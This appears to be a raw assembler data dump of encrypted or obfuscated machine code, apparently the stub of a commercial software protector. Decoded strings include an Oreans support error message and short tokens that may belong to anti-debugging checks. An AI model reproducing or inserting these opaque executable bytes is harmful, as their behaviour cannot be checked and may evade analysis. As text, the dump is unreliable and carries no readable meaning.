6831BA00h, 8758DEFCh, 0A475FD1Bh, 0C7901A38h, 0E7B83D5Bh dd 0AC70BC7Bh, 0CCEA5627h, 0EE0C7841h, 0F2D9962h, 464BB788h dd 24A1CF9Ah, 4351D017h, 0FECF5630h, 0AF8007FFh, 464302B0h dd 0A5D7717Ah, 78919F5Eh, 7F3B3904h, 0AEBBD611h, 5829B0B6h dd 0DDE3E8ECh, 3C2A5C39h, 79000000h, 0B024FC29h, 1448AAE5h dd 0C33744DCh, 62612AB5h, 9EBA6F67h, 453D0690h, 7BE7B83Fh dd 0D7A02B39h, 0DFE5DDD8h, 5138758h, 0B3AEAD7Eh, 0A4E106BBh dd 0C29D68DCh, 8CDA176Ah, 5630137Fh, 7593FFD0h, 6A1F1EEFh dd 0D611457Bh, 11E26775h, 0C1921A12h, 7C74C7C2h, 0B521EA76h dd 5D2C6A73h, 4AA6472Bh, 0A8A770FAh, 1B82B5ADh, 0A5D7097Dh dd 112994DAh, 80F607D6h, 92D47BB9h, 0D4978F9Ch, 0DC17E266h dd 2B5DD1DEh, 17831260h, 0DDD5E2D0h, 844F81B3h, 0D017836Eh dd 0FB01F906h, 5336A273h, 0B9FF7B70h, 131B25Ch, 29010000h dd 321126F2h, 11450C67h, 61D5EAD6h, 450E642Fh, 0D9E6D611h dd 5F3216E1h, 0A7B58181h, 8F5A521Bh, 3B902932h, 0CA45AB76h dd 202DD611h, 4863C1D5h, 1EEA1D50h, 5D8FA309h, 11455C92h dd 0F0714D6h, 28F02944h, 701B7613h, 4139FF6Bh, 4FA2h, 0F629F100h dd 0B984B62Ah, 0D61145BBh, 6B362E3Bh, 3F350032h, 5DD61145h dd 0F0A09D2h, 0EA140C19h, 1145D41Fh, 0A5709ED6h, 0D611454Fh dd 0B2C71A27h, 0CE565F32h, 0F47B89FDh, 7BCE9F26h, 420D817Ch dd 0D611452Ch, 0F4BFB7C4h, 34477D14h, 4A000000h, 0ACC02932h dd 137E14CFh, 717039C3h, 0D84B7E76h, 6732374Ch, 0D611450Ch dd 32C0D5EAh, 0CB29325Fh, 6A8BCA7Ch, 0F67E847Ch, 24321025h dd 0D6D1D099h, 70FF96DEh, 4139FF6Bh, 30A2h, 0F029F100h dd 0B782B428h, 0D61145B9h, 69342C39h, 450C6732h, 5A68D611h dd 5D0901D2h, 43CEDC50h, 32B7827Ah, 0FFD0565Fh, 477D14EAh dd 1Dh, 9C24324Ah, 0D9D1CCCBh, 90A573A6h, 450C6732h, 0D5EAD611h dd 565F32C0h, 14EAFFD0h, 0FEC6477Dh, 294AFFFFh, 0E5B024FCh dd 0DC179443h, 8C9A0E1Bh, 7DC83405h, 2BF4800Dh, 59E1312Ch dd 0F6C13588h, 0D01715F8h, 0B76C6B78h, 0D01715BBh, 8F8E57E1h dd 403F1097h, 86312E37h, 59E7E45Dh, 5A3FB792h, 4099h, 0F67B8900h dd 3F0A2625h, 0D0171D31h, 1161B4C1h, 0BFBAB98Ah, 32FCC7h dd 11453F35h, 5BDE62D6h, 0A7166049h, 0BAB883B1h, 3AD61185h dd 1FE2DA2Dh, 0D61185D5h, 67EEBC43h, 0AAD74396h, 0ADh dd 27FC29ADh, 0D81D49Dh, 146FE542h, 844F7DDCh, 0D0126F6Eh dd 32A6F906h, 0CCCB9C24h, 0A1AFD9D1h, 0C2E04C15h, 496E6D36h dd 9ED044DCh, 3A390A90h, 0BA84473Fh, 0B2DA14BEh, 972331A5h dd 0B84462CEh, 52CBF0EFh, 0B94452C6h, 3FEE04CFh, 7986DA18h dd 400B2726h, 0DA183F32h, 6A62B5C2h, 0F4D87540h, 4956D01Eh dd 723BC7D5h, 0BB42507Ah, 0D9607EEAh, 532FB108h, 3334DACAh dd 0A6D2Ch, 9861EA00h, 0B7880E2Ch, 0D4A52D4Bh, 0F7C04A68h dd 17E86D8Bh, 0DCA0ECABh, 0FC1A8657h, 1E3CA871h, 3F5DC992h dd 767BE7B8h, 21F1FFCAh, 7381D017h, 9D243260h, 0B7DACDCCh dd 9A038h, 0BDC3BB0Eh, 0E3F16536h, 928D8C5Dh, 66EDE59Ah dd 0DAE89695h, 47109AA8h, 118F343Ah, 7D733ED6h, 0F5D6118Fh dd 0EDE5F2E8h, 0E66D1512h, 0C5C48D18h, 70B77CAh, 5C392DCCh dd 0DEF4F58h, 351FC32h, 40D00Bh, 291F0000h, 3A3803FCh dd 0BAD61145h, 0B4E65AADh, 504F20A6h, 319A5D55h, 39DC1476h dd 0DF112D2Ch, 1274DE14h, 398996D0h, 0E9E4E3B4h, 9364EBF1h dd 0B1820927h, 88108DB2h, 5EE24914h, 7784DA17h, 0D056280Bh dd 435193FFh, 0A9A3EEB7h, 4703B835h, 5E4D1008h, 7ED611CAh dd 72BD29F2h, 2EF96D0Bh, 0DC171B33h, 0B4C23643h, 0CEF5B2Ch dd 3F350032h, 0B7D61145h, 45B0BE89h, 3340D611h, 0F7FCE8E0h dd 4F5CB9FFh, 0EEEDB641h, 1EC0FBF3h, 0F000001h, 1126F229h dd 450C6732h, 0DDEAD611h, 42CFFC40h, 733CC81Fh, 0D3267974h dd 0F20032BEh, 0D7A29A6Bh, 32148181h, 0D4CC9D24h, 8DA26EA1h dd 0D0992432h, 25DED6D1h, 28F02970h, 98243213h, 96F1D7CFh dd 39FF6B70h, 28A241h, 32F10000h, 0D4CC9D24h, 8DA26EA1h dd 0D19A2432h, 0B5DFD7D2h, 114581EAh, 475C69D6h, 0CE565F32h dd 7D14E8FDh, 4447h, 0F6294A00h, 0B984B62Ah, 0D61145BBh dd 23F52CE6h, 968C0E85h, 32C69189h, 11450C67h, 0E9B4EAD6h dd 0D611458Bh, 0F60B5E6Bh, 26F70032h, 0F852E9A0h, 5616E1D9h dd 32E8FDCEh, 0CFCE9F24h, 807F50D7h, 0F23A3285h, 9C24325Bh dd 0FCE7D3CBh, 374139FFh, 26h, 28F02986h, 0B9B782B4h, 39D61145h dd 3269342Ch, 11450C67h, 0C4D9E6D6h, 0D0565F32h, 7D14EAFFh dd 2E47h, 0F0294A00h, 0C2ABB428h, 9BD9A484h, 5BD61102h dd 74B034Eh, 328B564Eh, 11450C67h, 0A6DDEAD6h, 0BAC1B5B6h dd 326075C8h, 0FFD0565Fh, 477D14EAh, 0FFFFFEC0h, 9A24324Ah dd 458FE5B0h, 5A67D611h, 5E2FB707h, 396C645Fh, 0F5C034CCh dd 0DC179433h, 0CA9B212Bh, 6DF50377h, 6C7AA49Ch, 5DA814E5h dd 0E20A652Dh, 0F7F3819h, 777D48BCh, 0FFD0175Eh, 323EF3F2h dd 8FD0175Eh, 408B1916h, 0DC5A3FFCh, 817942CEh, 3146h dd 24329500h, 8CE2AD9Fh, 64D61145h, 490C0457h, 0D611452Fh dd 264C1749h, 0CED61145h, 0C23573C9h, 659A0B6h, 0B381080Eh dd 9E0A5D2Eh, 0A571h, 327400h, 909D66F2h, 0D6114562h, 0DA0D0512h dd 9661D5A3h, 0DC144EC5h, 0EEFC707Dh, 76A09869h, 9F13DC68h dd 3F3E0791h, 0C2A4C44h, 3543B780h, 34E9E1AAh, 960A960Fh dd 149D75CBh, 7CF0FDDAh, 0AD19E26Eh, 0B73D038Fh, 99ECE7E6h dd 0CA28F325h, 0AADA181Ch, 0CBF0A59Dh, 8752C652h, 0D01ED7CEh dd 0D9E75B68h, 0F7158152h, 0BC489F70h, 0D5DACA32h, 748CDD4h dd 860F0000h, 0AD3351BDh, 0CA5270DCh, 0E56F8DF9h, 0D92B01Ch dd 0C511D03Ch, 3FAB7C01h, 61CD9621h, 82EEB743h, 0A00CDD64h dd 0CE24EF9Bh, 0A6D01722h, 0CF568598h, 8007FFFEh, 4302B0AFh dd 46179E46h, 0BDA6C9D2h, 0AF1EB86Dh, 5A9195B7h, 0D15C3926h dd 47h, 24FC2920h, 6506E5B0h, 0D3E0DC14h, 64D51FD4h, 0BD43D012h dd 70F5EDECh, 4F4E17A2h, 4A020154h, 0CEF7A29Fh, 7E8C5855h dd 2E2928F9h, 0C2814A36h, 6B9D5A3Ah, 126852A0h, 753EC8D0h dd 78857B76h dd 394580h, 29940000h, 0E5B024FCh, 0DC146466h, 0FCF4F300h dd 4F20A775h, 8B5688FCh, 0D0126565h, 0E608000Dh, 717041C8h dd 0C34AD14Ch, 0A5F8F3F2h, 0CD9E2331h, 0FE0ABD5h, 0C7DA176Eh dd 136B4EBAh, 4AD2E078h, 877F7A79h, 8D572954h, 0D0CB84C9h dd 0D7097DD0h, 11BEE60Ch, 0FE848ED6h, 0E0332E2Dh, 18F3BEE8h dd 12DC149Bh, 0FC839105h, 39312C2Bh, 98110053h, 99A79083h dd 128B4E0Fh, 7D28B694h, 38302B2Ah, 8C009805h, 2BF6285Ah dd 106BB6C5h, 5D93A0ADh, 15106BB6h, 24D1008h, 0AC1A6EBBh dd 27BA09Fh, 0C2D00276h, 726D6C3Dh, 6CB00F65h, 0E2DAE71Ah dd 8BA3EDB8h, 3E4B1069h, 6435BCCAh, 8553DAF8h, 627835FEh dd 0B989CE87h, 26BC1366h, 539B3BE4h, 5DC4B52h, 0F27B0000h dd 199FBD29h, 36BEDC48h, 51DBF965h, 79FE1C88h, 317D3CA8h dd 0AB17E86Dh, 0CD39028Dh, 0EE5A23AFh, 0C7849D0h, 62905B07h dd 12D0172Ch, 32F104h, 11453F35h, 0B2AAB7D6h, 555425ACh dd 390CD55Dh, 134BF630h, 3B7DE93Ch, 0A7779832h, 1109731Eh dd 65D9A7DEh, 17AD849Ah, 4BBFCCDCh, 0E9E8B13Dh, 46996AF1h dd 19A1994Eh, 1951F148h, 9192CEC1h, 5658Ah, 0A069F200h dd 0BF901634h, 0DCAD3553h, 0FFC85270h, 1FF07593h, 0E4A8F4B3h dd 4228E5Fh, 2644B079h, 4765D19Ah, 7E83EFC0h, 2CE907D2h dd 7B89D017h, 35003268h, 0D611453Fh, 7FB2AAB7h, 3B067A06h dd 0DC1794E1h, 415D5C69h, 0A2E440Fh, 0B9C6D017h, 6233BBC1h dd 0C0DF610Bh, 0AEB5B6CEh, 506h, 93FFC851h, 0B21EEF75h dd 0CF3B0C94h, 0F25E27B1h, 127E4FD4h, 0BE430753h, 0D86381EDh dd 0F985A30Fh, 1FA6C430h, 31DDE24Eh, 172C0866h, 0C7DAE8D0h dd 0B024FC29h, 179457E5h, 8E020FDCh, 0A630F680h, 0DD928ADDh dd 358C5DE5h, 0CEC0E081h, 0B3E2E9EAh, 0A4000004h, 0C8E6521Bh dd 0E7057142h, 4228E5Fh, 2745B17Ah, 0A665D1A2h, 4011965Ah dd 622BB6D4h, 834CD8F6h, 0A172F917h, 0B9843035h, 0D0172FBBh dd 561A2D3Bh, 7FFFECFh, 0D0B0AF80h, 49D07875h, 2827F07Bh dd 0DDDCA530h, 0D03C8FE2h, 63915C8Eh, 13D61145h, 81080E06h dd 0F3FCB1B0h, 6DD61145h, 7E05ADAAh, 2A3039ADh, 749C39D9h dd 0DDBC5273h, 0D92C5725h, 0BC93F38Eh, 0DDD5043Eh, 6B3570BBh dd 5A262CF7h, 414EDC17h, 6738BFCDh, 8556DDFBh, 5C246186h dd 8253DAE8h, 0CC95608Ah, 0CDA108Ah, 0AEA677FEh, 0EB09D402h dd 8BDA1C28h, 85B72B7Eh, 0D41FF077h, 5C36E6E9h, 0ADB3ABFDh dd 4CD5826h, 0A02745B1h, 72ABD0CFh, 902932A6h, 1BC69F64h dd 0D49FC9C1h, 0D0198A0Bh, 0A15FB6C3h, 1EDACB5Dh, 3D0161Dh dd 0FE870000h, 25ABC935h, 42CAE854h, 5DE70571h, 850A2894h dd 3D8948B4h, 0B723F479h, 0D9450E99h, 0FA662FBBh, 188455DCh dd 569C6713h, 1ED0172Eh, 0CF56FD10h, 8007FFFEh, 5A592AB2h dd 55A00C5Fh, 0FCCD5328h, 0D816E1FDh, 98D61145h, 71E5388Bh dd 8610DE63h, 70C3BEBDh, 4C834E78h, 0E6DC144Ah, 26483FE1h dd 0D2250B22h, 86D41ED3h, 0F069D012h, 246E65F3h, 20A55A3Ah dd 0F4000000h, 0B024FC29h, 1468C2E5h, 908F9CDCh, 126691DBh dd 0B0AD26D0h, 3AC0A922h, 0E3645Ah, 32B30000h, 0CDCC9D24h dd 4DD4DAD2h, 6FFA087Ch, 1F9AEA6h, 5728AE7Ch, 0B0A5D58h dd 202FE6EFh, 7DD1820h, 105B73ACh, 59A93FE2h, 90403D4h dd 0B3840B11h, 0D8A9313Fh, 0AC332BE0h, 19946FDBh, 0FBD611B4h dd 1937A374h, 9DC2C192h, 47109B60h, 86FA4D48h, 154DF8BBh dd 5FE6F4DCh, 9C948F8Eh, 616FE3F0h, 1C0F0ED7h, 9BA0E5B3h dd 352D804Fh, 0C35DC813h, 1C521D4Fh, 0D4D01543h, 0DAA5CFC7h dd 0DA12FDF6h, 0CBFD717Eh, 6A6932BDh, 0CC951F6Fh, 7849CED4h dd 9B69EE0Ch, 9BF24516h, 0D4C44BD3h, 935C6364h, 0C4000002h dd 0E806723Bh, 7259162h, 2442AE7Fh, 4765D19Ah, 0C685F1C2h dd 6031B67Ah, 824BD6F4h, 0A36CF816h, 0C1921937h, 0D9A45055h dd 0D017299Bh, 563A4D5Bh, 0AC7D03D1h, 0F35FB2ADh, 117D4ED5h dd 3FC292Eh, 11453A38h, 5AADBAD6h, 68981BE6h, 0CDD2DC14h dd 0D1F48F25h, 3FB75E60h, 69344590h, 0D48988DBh, 0D012649Ah dd 1BA9A61Fh, 5A3AC2D0h, 965Bh, 0CF56AA00h, 8207FFFEh dd 0B0FDB2B1h, 64D61149h, 82A00CDDh, 0A8B62AFBh, 0FCCD5220h dd 0B7AF02FDh, 0E0A0DD02h, 6EC2B15Dh, 0EA5EB1B2h, 14709C1Fh dd 5DC9D6DCh, 990DEB12h, 15B363CEh, 7F0913DAh, 12652EB9h dd 51C51813h, 6BF0BE43h, 0BDDB479Ah, 3E106738h, 0E3D4C386h dd 1C4DBE2h, 0A930000h, 31B7D541h, 4ED6F460h, 69F3117Dh dd 911634A0h, 499554C0h, 0C32F0085h, 0E5511AA5h, 6723BC7h dd 249061E8h, 4AA8731Fh, 2AD01728h, 0D156091Ch, 0EF769400h dd 56CFB21Eh, 7FFFECFh, 0F843AF80h, 4D7FF38Dh, 0B0496344h dd 433B593Ch, 1416FB80h, 6F6E7BDCh, 8DF14A53h, 596023Eh dd 25204A0Dh, 1C95D012h, 875A911Fh, 0D4E25A3Ah, 4E89814Ah dd 31h, 24FC299Dh, 60DAE5B0h, 8794DC14h, 5E99D388h, 561ED012h dd 24E0154Dh, 27B35BABh, 11645F5Eh, 766E37C1h, 0DB109E9Bh dd 525A3AE0h, 33h, 455E99A1h, 1491D611h, 764D188Ch, 82DC146Bh dd 96F7FF79h, 2878798Fh, 0D6D1D0A1h, 0B92532DEh, 747A4577h dd 0FCD012D7h, 0D7ED03CEh, 7885D012h, 29622D25h, 0E5B024FCh dd 0DC146272h, 0EFADE7ECh, 0C37ADCA4h, 47557170h, 36F9F1C2h dd 0D012703Ch, 7D0B0881h, 5A3AD276h, 16BDh, 5F990C00h dd 90D61145h, 4C178B15h, 0DC146B77h, 9C6DF5FFh, 29FADD49h dd 3A3803FCh, 0BAD61145h, 0FDEAEEB5h, 0ABFE9A17h, 6319E458h dd 65DC17A5h, 0B404CD57h, 0B7635B2Ch, 24FE1BB2h, 8BDEE6F9h dd 0B0810917h, 840B03B8h, 0A22947B3h, 0AF545DD1h, 90257CFAh dd 883DF2EAh, 243E9459h, 2B2AFB83h, 0DCDBAC33h, 0E6FFF5C0h dd 6A77843Ch, 6D1815F4h, 35DDDA35h, 8859E0AEh, 24ABC935h dd 0FEB9135Bh, 7BCEC5C9h, 0A66FF907h, 7701F9AEh, 3D083AAEh dd 843CC237h, 5BAB2BFh, 630B08E7h, 0BA830EDCh, 16DC0BBh dd 0F77F8DBFh, 0C2DB1926h, 8E9B843Ch, 38099096h, 632CB6C4h dd 3AFB66Bh, 0B2000000h, 0CD563D54h, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 526F9D9Ch, 0C281E289h, 4, 4EA81h, 14870000h dd 3C895C24h, 5F696824h, 2C890000h, 40456824h, 4890000h dd 27B95124h, 52060651h, 0D589CA89h, 8B54595Ah, 0C4812404h dd 4, 8904EC83h, 3481242Ch, 97764F24h, 8408F31h, 4F087081h dd 0FF319776h, 81582434h, 4C4h, 242C8B00h, 5E08950h, 4 dd 8704C083h, 0E95C2404h, 0FFFD0E85h, 0A6960EEBh, 0E9AF98D0h dd 0DE3C101h, 0B8C50EB8h, 6066F26h, 0E0FFC503h, 46E4D0D1h dd 34C29F93h, 7294B0A2h, 5C9DDA05h, 4E57062Eh, 451D989Bh dd 21D36E44h, 0CF48C09h, 1D3315A1h, 76DE9BE7h, 740DC52h dd 4AA25FB0h, 812D198h, 0EB38E8Fh, 7679E365h, 7989E6AEh dd 1D3169EAh, 2D5D71C6h, 48F18348h, 1D15E5F4h, 3A4075E0h dd 361805DCh, 213B7C31h, 78BE2509h, 0EC740F4h, 1D90A633h dd 5FF0Dh, 6715C888h, 21B62CFDh, 13D6ACBCh, 6A0E44A9h dd 0DE8h, 90456C00h, 0D6560746h, 217D8966h, 10E87241h dd 49000000h, 2C32F777h dd 15E3498Fh, 3C00DDBh, 0E9394F2Bh, 11h, 1DF14EA7h, 0D04FCCB4h dd 0D6D084CBh, 7129B928h, 0BF5A5F34h, 367E6DD9h, 66BCC281h dd 10E80000h, 69000000h, 0D06AE1DBh, 0BD1CFE9Ch, 11B79B4Fh dd 66D8941Dh, 5EE649BEh, 7F3BA7B8h, 0CAF0817Dh, 0F7D7F22h dd 18Ch, 32FFF900h, 6EAFF381h, 8159563Dh, 0D2405BF7h, 0BAF18146h dd 0E810E259h, 7, 0F4757FF2h, 0FDF0B9Fh, 815FF2B7h, 0BB8FA8E9h dd 92EF811Eh, 814A7FD1h, 3DEEDFF1h, 7EBF664Ch, 28F51D0h dd 0EA83DA8Bh, 604A4A02h, 0F00EBB66h, 0E9CCE981h, 486174AAh dd 30850Fh, 12E90000h, 0A4000000h, 95319026h, 1391B382h dd 0F33B1E2Ch, 0DD5BF4D1h, 27E910h, 8F9C0000h, 7A0DC539h dd 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 8B66FA17h, 0FF70E9F9h dd 71E7FFFFh, 376B748Ah, 4ABBB890h, 4934EBCFh, 474D5346h dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 6AEh, 850F60FCh, 19h, 14E9h, 7846EB00h dd 506E1006h, 50B568A1h, 0AC6B7BCEh, 3A4EAE01h, 6A85C7FAh dd 60671h, 0FC000000h, 6AC68Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B51D78C3h, 0E9DF2BF3h dd 0Bh, 3C84E733h, 0EFB1AB37h, 0F9D3B6E1h, 0E9D8B70Fh dd 5, 0F2308E5Fh, 10E8C1D5h, 2AC18160h, 614746A2h, 8C8C166h dd 0FE9h, 4DBAB500h, 485EA2C2h, 7809ADFCh, 0F3992E73h dd 0B8A0Fh, 0F600000h, 88h, 0FAC78000h, 6E858961h, 6A060671h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 85EC357h, 0C38160C5h, 43F2C6FAh, 0EEC28157h dd 5F67FEFCh, 14E961h, 94230000h, 1317C8B6h, 80BFA89Ah dd 9CDBBEDAh, 4062DC1Bh, 0C166BA7Ch, 816008CBh, 0E2AA1FD0h dd 0C7B70F03h, 40FB8361h, 1F850Fh, 8DF50000h, 67142BDh dd 1850F06h, 0F5000000h, 15EE9h, 6820F00h, 60000000h, 59575B56h dd 0DFB8361h, 4E850Fh, 8B0F0000h, 0Ah, 0E6816660h, 0BF0FDDFFh dd 5E961FBh, 6E000000h, 0E5475C20h, 714ABD8Dh, 0F9F80606h dd 122E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0AAE19B91h, 0E4415BC8h, 0F8F93C4Dh dd 0F01FB83h, 5385h, 0BD8DF800h, 6067152h, 13E9h, 0FB716600h dd 0B1F5D3BAh, 98E9C431h, 0D7245D9Eh, 3A471BC5h, 0CEE9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FFA2B50h, 183h, 880FFC00h, 4, 61CE8B60h dd 0F2AFB83h, 3D85h, 10E900h, 46ED0000h, 7D1FED9Ah, 0F8677EE7h dd 79A88463h, 0BD8D4F11h, 606715Ah, 0B870Fh, 0BE600000h dd 495F3990h, 6018BF66h, 0BF0F6061h, 88E881FEh, 612A1995h dd 5AE9h, 0FB83F900h, 7850F27h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E14FC350h dd 0B6989116h, 0E9609C34h, 0Dh, 0FEF81CCBh, 0C7707840h dd 0C680FB67h, 38A0F26h, 0F000000h, 8D61F3BFh, 67162BDh dd 8B666006h, 0A305BAF8h, 896161D2h, 67172BDh, 5FBA6006h dd 8B772B63h, 0F86061FAh, 0C88C6661h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 98C35040h, 815E8D76h, 60E771BAh dd 6C5152BEh, 94D78054h, 0C880F61h, 0F000000h, 682h, 800F00h dd 24000000h, 55006A03h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 3478F440h, 8B0FF9EEh, 7, 1800Fh dd 0AF50000h, 0BC850FC0h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 96DC351h dd 36879838h, 0E3DD14DAh, 1830Fh, 8DFC0000h, 67703B5h dd 6E906h, 0BB4E0000h, 0F810A070h, 0F890Fh, 0AE90000h dd 1B000000h, 0BFB72977h, 0D9968BD9h, 96858B2Ch, 6A060677h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 4DFC356h, 0E62566BAh, 168F0F0Ch, 60000000h dd 0AE8h, 0DE9EFB00h, 8365E2A2h, 5990BD2Fh, 2F4FBF66h dd 8810F61h, 0F000000h, 280h, 50616000h, 3850F60h, 66000000h dd 0F60DF8Bh, 87h, 89616100h, 60FC2414h, 0B5F9BF0Fh, 10F61E3h dd 60FE244Ch, 0E0F25FBEh, 5A61F527h, 24C283F5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h, 0E9FC858Ah dd 5, 6B41F8B5h, 728966A2h, 4FBF60FCh, 0E97F1DABh, 0Ah dd 28637CD7h, 151CD69Ch, 0C161FCBEh, 6A10CEh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 89669BC3h dd 6A0272h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 87B153C3h, 4CB8EB49h, 6A04CD41h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 7FB7C355h, 0DE860h, 9C770000h, 829ED717h, 0B4ADC9AEh dd 0E9C29B5Ch, 0Ah, 6C75E7CAh, 0EFD23E00h, 53596978h, 615B6160h dd 7AE9h, 0C8F0F00h, 0F000000h, 687h, 860F00h, 8B000000h dd 6779685h, 81666006h, 0F8591F0h, 28Eh, 61616000h, 81E58060h dd 0A6FEBF60h, 816648C9h, 614B3AC6h, 3B58D61h, 6A060677h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 70ADC351h, 8DFC5BE2h, 64ED785h, 80F86006h dd 0FC61F4E5h, 8B0FD0FFh, 7, 18C0Fh, 89F50000h, 6716A85h dd 0E961F806h, 13h, 0B2F629A4h, 33346BC3h, 0D95CD2CDh dd 1FF2827Ah, 0F863B828h, 716A858Bh, 0E8600606h, 0Ch, 0C8C40A36h dd 8C30A825h, 0AC2504E0h, 0D6F68166h, 0F8535B6Fh, 6AC3615Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0AC22C353h, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0FDDD1685h dd 7796BD83h, 0F000606h, 3385h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 85C724D7h dd 6067796h, 1013Fh, 7E9h, 8687A800h, 790B91FBh, 2CE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 3F560EABh, 0E95A6850h, 5, 0F3E7F8ABh, 20CDDDh dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 6067172h, 8B9h, 2275A600h dd 8BFA7549h, 9D8B3048h, 606716Eh, 7F34583Bh, 6BD38B15h dd 0CA0304D2h, 8589018Bh, 606716Ah, 8B04EBh, 8B61C5EBh dd 6716A85h, 6660CF06h, 0B2674EB9h, 6A61A7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F4885C3h dd 198Dh, 14E900h, 0D0120000h, 283044D4h, 0EF2559C3h, 906E5095h dd 0CDB77789h, 0FF5932Eh, 183h, 0C08BFC00h, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 116AE900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 89A89AC3h, 315A985h, 9D858B06h dd 6A06031Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 2931C355h, 30865BDh, 24443906h dd 58850F04h, 0F000000h, 681h, 759D2900h, 83060303h, 3207DBDh dd 840F0006h, 3Fh, 0F5D9501h, 858D0603h, 60338E0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B6C35747h, 0FE0FF9Fh dd 0E8Ch, 0BD296000h, 603189Dh, 0C0C1D781h, 8B612678h dd 3312185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0FA300698h, 244439FCh, 72850F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0B56BC350h, 86D5DAF1h, 604CFCD9h dd 830F60h, 0E8000000h, 0Ah, 9160C899h, 2F00BA2h, 615F9FF2h dd 2C81BD8Bh, 0C7610603h, 67C2C85h, 106h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 3197E74Ch, 32AC19Dh, 95296006h, 6030729h, 2AE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 2960B9E5h, 32AD595h, 61FC06h, 0B8000000h, 1, 7DB68587h dd 0C00B0606h, 0B5FFF675h, 6031BA1h, 7C24858Fh, 206A0606h dd 95FFFF6Ah, 6031369h, 22A9BD83h, 74000603h, 0FF006A08h dd 323A595h, 0C1BD8306h, 106030Ch, 80680D74h, 6A000000h dd 6995FFFFh, 6A060313h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0D5B589ECh dd 8906030Bh, 3167585h, 0B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B7B59C3h dd 89282454h, 303719Dh, 0BD858906h, 89060302h, 3245985h dd 3CBE06h, 3F80000h, 31242474h, 30C8D9Dh, 6AAD6606h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 3D68C357h, 6447F591h, 44038109h, 830F2424h, 1, 9E990F9h dd 58000000h, 334AA798h, 6046A30Bh, 0E8F0F50h, 50000000h dd 0F616052h, 8B0F31h, 5A000000h, 8BF99058h, 89607840h dd 30CF1BDh, 0C58D8B06h, 6106031Ah, 28F0F60h, 8B000000h dd 0FE9F3h, 0F1C70000h, 31BC2554h, 6212D169h, 0A73FC3E6h dd 0BD83618Bh, 6067C2Ch, 17850F00h, 89000001h, 332C5B5h dd 52505006h, 2830Fh, 61600000h, 5E9310Fh, 80000000h, 0E6052AE5h dd 489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0C6767340h, 4CF741CCh, 840F6496h dd 15h, 10E9h, 0F99F7200h, 894B727Fh, 0ABF5ED68h, 0C2B3C5FFh dd 659D8998h, 8B060322h, 6A2C2444h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5755C357h dd 0CF79CEBEh, 60558855h, 67BB6660h, 45EE8013h, 29958B61h dd 6106030Bh, 0BB666050h, 8961BC6Eh, 0BD012404h, 6030F8Dh dd 49F4858Dh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 785661C3h, 0E94054B6h, 0Fh, 2FFBA440h dd 0AE71E3C5h, 0CE88687Eh, 0FFBB9BA3h, 56006AD0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0BB337A20h, 89FC4627h, 31AF9B5h, 4403FC06h, 6A2824h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0E656D7C3h, 